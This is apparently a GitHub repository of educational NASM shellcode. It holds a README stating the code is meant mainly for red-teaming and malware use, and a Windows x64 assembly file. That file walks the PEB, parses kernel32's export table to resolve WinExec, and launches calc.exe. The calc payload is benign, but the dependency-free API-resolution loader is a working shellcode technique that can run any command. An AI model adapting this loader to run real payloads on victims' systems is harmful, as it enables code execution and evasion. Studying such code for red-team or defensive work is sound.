├── README.md └── calc-exe.asm /README.md: -------------------------------------------------------------------------------- 1 | # Shellcodes 2 | 3 | My shellcodes (or shellcodish-things) written for educational purpose in NASM assembly. 4 | 5 | > **IMPORTANT**: Keep in mind that I write shellcode mainly for red-teaming applications (malware). It doesn't have to meet the requirements of shellcode injected via memory vulnerabilities (such as the absence of `\x00` characters). 6 | 7 | Check out [Shellcoder.py](https://github.com/Print3M/shellcoder/tree/main) - a simple script to automate shellcoding process and shellcode testing. I wrote this tool to keep focus on shellcoding rather than setting up a test environment. Enjoy! :) 8 | -------------------------------------------------------------------------------- /calc-exe.asm: -------------------------------------------------------------------------------- 1 | ; Author: Print3M (https://print3m.github.io/) 2 | ; Arch: Windows x64 3 | ; 4 | ; This code just runs "calc.exe" without any external dependencies. 5 | ; 6 | [bits 64] 7 | 8 | section .text: 9 | global _start 10 | 11 | _start: 12 | 13 | ; Access PEB structure 14 | xor rbx, rbx 15 | mov rbx, gs:[0x60] ; RBX = address of PEB struct 16 | mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA 17 | add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList 18 | 19 | ; Go down the double-link list of PEB_LDR_DATA 20 | mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll) 21 | mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll) 22 | mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll) 23 | 24 | ; Get VA address of kernel32.dll 25 | mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll) 26 | mov r8, rbx ; R8 = RBX (address of kernel32.dll) 27 | 28 | ; Get VA address of ExportTable (kernel32.dll) 29 | mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset) 30 | add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders 31 | 32 | xor rcx, rcx 33 | add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA) 34 | mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA 35 | add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable 36 | mov r9, rbx ; R9 = &ExportTable 37 | 38 | ; Get VA address of ExportTable.AddressOfFunctions 39 | xor r10, r10 40 | mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA 41 | add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions 42 | 43 | ; Get VA address of ExportTable.AddressOfNames 44 | xor r11, r11 45 | mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA 46 | add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames 47 | 48 | ; Get VA address of ExportTable.AddressOfNameOrdinals 49 | xor r12, r12 50 | mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA 51 | add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals 52 | 53 | ; Get address of WinExec function exported from kernel32.dll 54 | xor rcx, rcx 55 | add cl, 7 ; RCX = function name length ("WinExec" == 7) 56 | 57 | xor rax, rax 58 | push rax ; STACK + null terminator (8) 59 | mov rax, 0x00636578456E6957 ; RAX = function name = \0 + "cexEniW" (WinExec) 60 | push rax ; STACK + function name address (8) 61 | mov rbx, rsp ; RSI = &function_name 62 | 63 | call get_winapi_func 64 | mov r13, rax ; R13 = &WinExec 65 | 66 | ; Execute WinExec function 67 | ; 68 | ; UINT WinExec( 69 | ; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 70 | ; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL 71 | ; ); 72 | xor rcx, rcx 73 | xor rdx, rdx 74 | 75 | push rcx ; STACK + null terminator (8) 76 | mov rcx, 0x6578652e636c6163 ; RCX = "exe.clac" (command string: calc.exe) 77 | push rcx ; STACK + command string (8) 78 | 79 | mov rcx, rsp ; RCX = LPCSTR lpCmdLine 80 | mov rdx, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL) 81 | 82 | and rsp, -16 ; 16-byte Stack Alignment 83 | sub rsp, 32 ; STACK + 32 bytes (shadow space) 84 | 85 | call r13 ; WinExec("calc.exe", SW_SHOWNORMAL) 86 | 87 | get_winapi_func: 88 | ; Requirements (preserved): 89 | ; R8 = &kernel32.dll 90 | ; R10 = &AddressOfFunctions (ExportTable) 91 | ; R11 = &AddressOfNames (ExportTable) 92 | ; R12 = &AddressOfNameOrdinals (ExportTable) 93 | ; Parameters (preserved): 94 | ; RBX = (char*) function_name 95 | ; RCX = (int) length of function_name string 96 | ; Returns: 97 | ; RAX = &function 98 | ; 99 | ; IMPORTANT: This function doesn't handle "not found" case! 100 | ; Infinite loop and access violation is possible. 101 | 102 | xor rax, rax ; RAX = counter = 0 103 | push rcx ; STACK + RCX (8) = preserve length of function_name string 104 | 105 | ; Loop through AddressOfNames array: 106 | ; array item = function name RVA (4 bytes) 107 | loop: 108 | xor rdi, rdi ; RDI = 0 109 | mov rcx, [rsp] ; RCX = length of function_name string 110 | mov rsi, rbx ; RSI = (char*) function_name 111 | 112 | mov edi, [r11+rax*4] ; RDI = function name RVA 113 | add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll 114 | repe cmpsb ; Compare byte *RDI (array item str) and *RSI (param function name) 115 | 116 | je resolve_func_addr ; Jump if exported function name == param function name 117 | 118 | inc rax ; RAX = counter + 1 119 | jmp short loop 120 | 121 | resolve_func_addr: 122 | pop rcx ; STACK - RCX (8) = remove length of function_name string 123 | mov ax, [r12+rax*2] ; RAX = OrdinalNumber = &AddressOfNameOrdinals + (counter * 2) 124 | mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (OrdinalNumber * 4) 125 | add rax, r8 ; RAX = &function = function RVA + &kernel32.dll 126 | ret --------------------------------------------------------------------------------